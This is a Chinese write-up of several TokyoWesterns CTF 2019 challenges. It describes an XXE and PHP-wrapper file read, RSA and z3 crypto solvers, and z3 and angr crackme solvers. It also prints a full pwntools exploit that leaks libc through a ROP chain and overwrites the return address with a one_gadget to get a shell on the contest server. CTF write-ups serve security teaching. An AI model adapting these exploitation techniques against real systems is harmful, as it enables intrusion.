龙空技术网

TokyoWesterns CTF 5th 2019(部分WP)

合天网安实验室 160

前言:

目前姐妹们对“expc语言”大致比较看重,我们都想要知道一些“expc语言”的相关内容。那么小编同时在网络上收集了一些有关“expc语言””的相关知识,希望小伙伴们能喜欢,我们一起来学习一下吧!

原创:LQers合天智汇

原创投稿活动:

0X00 比赛简介

本次比赛是由TokyoWesterns主办的安全竞赛,相对于我们小菜鸡来说还是比较难的,只能做做热身题了

本次比赛时间:2019/08/31 早上八点 — 2019/09/02 早上八点

0X01 签到

0X02 Web

j2x2j

观察题目,发现是json和xml互转

xxe直接打,成功

实验1:;c=CCIDc75d-d37a-42d4-878b-6f130c004ad2

用php伪协议来读取源代码,发现包含flag.php

<?php include 'flag.php';

读flag.php

实验2: PHP安全特性之伪协议:

0X03 CRYPTO

real-baby-rsa | SOLVED | working: yuriXO, mads

题目给了N和e,发现N无法直接分解。观察代码发现加密过程是把flag字符一个一个进行加密。因为一个可见字符Ascii码为32-127,明文空间很小。所以我们就可以直接遍历字符所有可能值,直到找到密文与题目所给密文一致的即为正确明文。代码如下:

# flag = 'TWCTF{CENSORED}' flag = '' # # Public Parameters N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091 e = 65537 # # Encrypt the flag! # for char in flag: # print(pow(ord(char), e, N)) with open("./output", 'r') as f: c = f.readlines() for f in c: for ch in range(32, 127): if(pow(ch, e, N) == int(f)): flag += chr(ch) print(flag) print(flag) # print(int(c[-1], 10)) # TWCTF{padding_is_important}

Simple Logic | SOLVED | working: yuriXO

ruby语言,flag与密钥经过765轮的模加与异或得到flag密文,但后来又使用多组明文与同一个密钥进行加密,因此可以利用这些数据使用z3求解器求解出密钥,脚本如下。

#!/usr/bin/env python3 # -*- coding: utf-8 -*- from z3 import * flag = 0x43713622de24d04b9c05395bb753d437 plain = [ 0x29abc13947b5373b86a1dc1d423807a, 0xeeb83b72d3336a80a853bf9c61d6f254, 0x7a0e5ffc7208f978b81475201fbeb3a0, 0xc464714f5cdce458f32608f8b5e2002e, 0xf944aaccf6779a65e8ba74795da3c41d, 0x552682756304d662fa18e624b09b2ac5 ] enc = [ 0xb36b6b62a7e685bd1158744662c5d04a, 0x614d86b5b6653cdc8f33368c41e99254, 0x292a7ff7f12b4e21db00e593246be5a0, 0x64f930da37d494c634fa22a609342ffe, 0xaa3825e62d053fb0eb8e7e2621dabfe7, 0xf2ffdf4beb933681844c70190ecf60bf ] def encrypt(msg, key): mask = (1 << 128) - 1 for i in range(765): msg = (msg + key) & mask msg = msg ^ key return msg def decrypt(msg, key): mask = (1 << 128) - 1 for i in range(765): msg = msg ^ key msg = (msg - key) & mask return msg s = Solver() key = BitVec('key', 128) for p, e in zip(plain, enc): s.add(encrypt(p, key) == e) if s.check() == sat: m = s.model() key = m[key].as_long() # key = 62900030173734087782946667685685220617 assert decrypt(encrypt(plain[0], key), key) == plain[0] print("TWCTF{{{0}}}".format(hex(decrypt(flag, key))[2:])) else: print("unsat")
0X04 REVERSE

easy_crack_me

从IDA反编译的源码中可以看到一些限制: - 长度39 - "TWCTF{"开头,"}"结尾

if ( strlen(a2[1]) != 39 ) { puts("incorrect"); exit(0); } if ( memcmp(s, "TWCTF{", 6uLL) || s[38] != '}' ) { puts("incorrect"); exit(0); }
中间部分只能为"0123456789abcdef"字符组成,个数分别为3+2+2+0+3+2+1+3+3+1+1+3+1+2+2+3
v46 = '76543210'; v47 = 'fedcba98'; for ( i = 0; i <= 15; ++i ) { for ( j = strchr(s, *((char *)&v46 + i)); j; j = strchr(j + 1, *((char *)&v46 + i)) ) ++*((_DWORD *)&s1 + i); } if ( memcmp(&s1, &unk_400F00, 0x40uLL) ) { puts("incorrect"); exit(0); }

进一步通过异或比较等操作对输入字符串进行限制

for ( k = 0; k <= 7; ++k ) { v10 = 0; v11 = 0; for ( l = 0; l <= 3; ++l ) { v5 = s[4 * k + 6 + l]; v10 += v5; v11 ^= v5; } *((_DWORD *)&v21 + k) = v10; *((_DWORD *)&v25 + k) = v11; } for ( m = 0; m <= 7; ++m ) { v14 = 0; v15 = 0; for ( n = 0; n <= 3; ++n ) { v6 = s[8 * n + 6 + m]; v14 += v6; v15 ^= v6; } *((_DWORD *)&v29 + m) = v14; *((_DWORD *)&v33 + m) = v15; } if ( memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) ) { puts("incorrect"); exit(0); } if ( memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) ) { puts("incorrect"); exit(0); }

从.rodata段可以找到对应的数据如下:

400F40: 0x15E,0xDA,0x12F,0x131,0x100,0x131,0xFB,0x102 400F60: 0x52,0x0C,0x01,0x0F,0x5C,0x05,0x53,0x58 400F80: 0x01,0x57,0x07,0x0D,0x0D,0x53,0x51,0x51 400FA0: 0x129,0x103,0x12B,0x131,0x135,0x10B,0xFF,0xFF

给出了每个字符数值范围的限制如下:

128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255 for ( ii = 0; ii <= 31; ++ii ) { v7 = s[ii + 6]; if ( v7 <= 47 || v7 > 57 ) { if ( v7 <= 96 || v7 > 102 ) v45[ii] = 0; else v45[ii] = 128; } else { v45[ii] = 255; } } if ( memcmp(v45, &unk_400FC0, 0x80uLL) ) { puts("incorrect"); exit(0); }

最后两个约束分别为求和等于1160以及几个字符的值

for ( jj = 0; jj <= 15; ++jj ) v18 += s[2 * (jj + 3)]; if ( v18 != 1160 ) { puts("incorrect"); exit(0); } if ( s[37] != 53 || s[7] != 102 || s[11] != 56 || s[12] != 55 || s[23] != 50 || s[31] != 52 ) { puts("incorrect"); exit(0); }

使用z3进行约束求解,脚本如下

from z3 import * f = [BitVec('f%d'%i,8) for i in range(0,39)] solver = Solver() solver.add(f[0]==ord('T')) solver.add(f[1]==ord('W')) solver.add(f[2]==ord('C')) solver.add(f[3]==ord('T')) solver.add(f[4]==ord('F')) solver.add(f[5]==ord('{')) solver.add(f[38]==ord('}')) solver.add(f[37]==53) solver.add(f[7]==102) solver.add(f[11]==56) solver.add(f[12]==55) solver.add(f[23]==50) solver.add(f[31]==52) solver.add(f[6]+f[8]+f[10]+f[12]+f[14]+f[16]+f[18]+f[20]+f[22]+f[24]+f[26]+f[28]+f[30]+f[32]+f[34]+f[36]==1160) result = [0x15E,0xDA,0x12F,0x131,0x100,0x131,0xFB,0x102] for i in range(0,8): solver.add(f[6+4*i]+f[6+4*i+1]+f[6+4*i+2]+f[6+4*i+3]==result[i]) result = [0x52,0x0C,0x01,0x0F,0x5C,0x05,0x53,0x58] for i in range(0,8): solver.add(f[6+4*i]^f[6+4*i+1]^f[6+4*i+2]^f[6+4*i+3]==result[i]) result = [0x129,0x103,0x12B,0x131,0x135,0x10B,0xFF,0xFF] for i in range(0,8): solver.add(f[6+i]+f[6+i+8]+f[6+i+2*8]+f[6+i+3*8]==result[i]) result = [0x01,0x57,0x07,0x0D,0x0D,0x53,0x51,0x51] for i in range(0,8): solver.add(f[6+i]^f[6+i+8]^f[6+i+2*8]^f[6+i+3*8]==result[i]) result = [128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255] for i in range(32): if(result[i]==128): solver.add(f[i+6]>=97) solver.add(f[i+6]<=102) else: solver.add(f[i+6]>=48) solver.add(f[i+6]<=57) num = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3] for i, ch in enumerate("0123456789abcdef"): count = 0 for x in f: count = count + If(x == ord(ch), 1, 0) solver.add(count == num[i]) print solver.check() result=solver.model() print result s = "" for i in range(0,39): s+=chr(result[f[i]].as_long().real) print sTWCTF{df2b4877e71bd91c02f8ef6004b584a5}

angr也可以做,但本身对strchr不太支持,所以得NOP掉地址0x4007B1到0x400948,只需要做好约束就行了,不过从时间以及效率上来讲还是直接用z3来的痛快

# -*- coding: UTF-8 -*- import angr import claripy argv_chars = [claripy.BVS('argv_%d' % i, 8) for i in range(39)] argv = claripy.Concat(*argv_chars) p = angr.Project("./easy_crack_me",auto_load_libs=True) state = p.factory.full_init_state(args=["./easy_crack_me", argv], add_options=angr.options.unicorn) state.solver.add(argv_chars[0] == ord('T')) state.solver.add(argv_chars[1] == ord('W')) state.solver.add(argv_chars[2] == ord('C')) state.solver.add(argv_chars[3] == ord('T')) state.solver.add(argv_chars[4] == ord('F')) state.solver.add(argv_chars[5] == ord('{')) state.solver.add(argv_chars[38] == ord('}')) state.solver.add(argv_chars[37] == ord('5')) state.solver.add(argv_chars[7] == ord('f')) state.solver.add(argv_chars[11] == ord('8')) state.solver.add(argv_chars[12] == ord('7')) state.solver.add(argv_chars[23] == ord('2')) state.solver.add(argv_chars[31] == ord('4')) result = [ 128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255 ] for i in range(32): if (result[i] == 128): state.solver.add(argv_chars[i + 6] >= 97) state.solver.add(argv_chars[i + 6] <= 102) else: state.solver.add(argv_chars[i + 6] >= 48) state.solver.add(argv_chars[i + 6] <= 57) num = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3] for i, ch in enumerate("0123456789abcdef"): count = 0 for x in argv_chars: count = count + claripy.If(x == ord(ch), claripy.BVV(b'\x01'), claripy.BVV(b'\x00')) state.solver.add(count == num[i]) sm = p.factory.simulation_manager(state) sm.explore( find=0x400E10, avoid=[ 0x400BD9, 0x400C27, 0x400d12, 0x400d7c, 0x400DFC, 0x400777 ]) for fo in sm.found: ans = [] for ac in argv_chars: ans.append(ord(fo.solver.eval(ac, cast_to=bytes))) print("".join([chr(i) for i in ans]))TWCTF{df2b4877e71bd91c02f8ef6004b584a5}
0X05 PWN

nothing more to say

漏洞点在gets函数以及printf函数

int __cdecl main(int argc, const char **argv, const char **envp) { char format; // [rsp+0h] [rbp-100h] init_proc(*(_QWORD *)&argc, argv, envp); puts( "Hello CTF Players!\n" "This is a warmup challenge for pwnable.\n" "We provide some hints for beginners spawning a shell to get the flag.\n" "\n" "1. This binary has no SSP (Stack Smash Protection). So you can get control of instruction pointer with stack overflo" "w.\n" "2. NX-bit is disabled. You can run your shellcode easily.\n" "3. PIE (Position Independent Executable) is also disabled. Some memory addresses are fixed by default.\n" "\n" "If you get stuck, we recommend you to search about ROP and x64-shellcode.\n" "Please pwn me :)"); gets(&format); printf(&format); return 0; }

保护全没开,bof fsb随便搞

[*] '/root/workspace/elf/warmup' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments

调用两次puts泄漏got表地址,libc-database查询libc版本

~/toolchain/elf/libc-database(master) # ./find puts 9c0 gets 0b0 root@ubuntu  (id libc6_2.27-3ubuntu1_amd64)

最后one_gadget覆盖返回地址拿shell

#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import os, sys # Setting at first DEBUG = 3 LIBCV = 2.19 context.arch = "amd64" context.log_level = "debug" elf = ELF("./warmup",checksec=False) # synonyms for faster typing tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive if DEBUG == 1: if context.arch == "i386": libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False) elif context.arch == "amd64": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) s = process("./warmup") elif DEBUG == 2: if context.arch == "i386": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 warmup") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 warmup") elif context.arch == "amd64": libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False) os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 warmup") os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 warmup") s = process("./warmup") elif DEBUG == 3: libc = ELF("./libc6_2.27-3ubuntu1_amd64.so",checksec=False) ip = "nothing.chal.ctf.westerns.tokyo" port = 10001 s = remote(ip,port) def pwn(): rdi = 0x400773 pl = "A"*264 pl += p64(rdi) pl += p64(elf.got["gets"]) pl += p64(elf.sym["puts"]) pl += p64(0x4006BA) s.sla("pwn me :)\n", pl) s.r(267) libc.address = u64(s.r(6) + "\0\0") - libc.sym["gets"] info("libc.address 0x%x", libc.address) info("system 0x%x", libc.sym["system"]) info("binsh 0x%x", libc.search("/bin/sh").next()) pl = "A"*264 pl += p64(libc.address + 0x4f2c5) #pl += p64(rdi) #pl += p64(libc.search("/bin/sh").next()) #pl += p64(libc.sym["system"]) s.sla("pwn me :)\n", pl) # puts 690 # gets d80 # setbuf 6b0 # puts 9c0 # gets 0b0 # setbuf 4d0 s.irt() #clean() if __name__ == "__main__": pwn()

TWCTF{AAAATsumori---Shitureishimashita.}

实验3: CTF-PWN系列汇总:;c=C172.19.104.182014111015081500001(PWN是CTF赛事中主流题型,主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。)

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负!

标签: #expc语言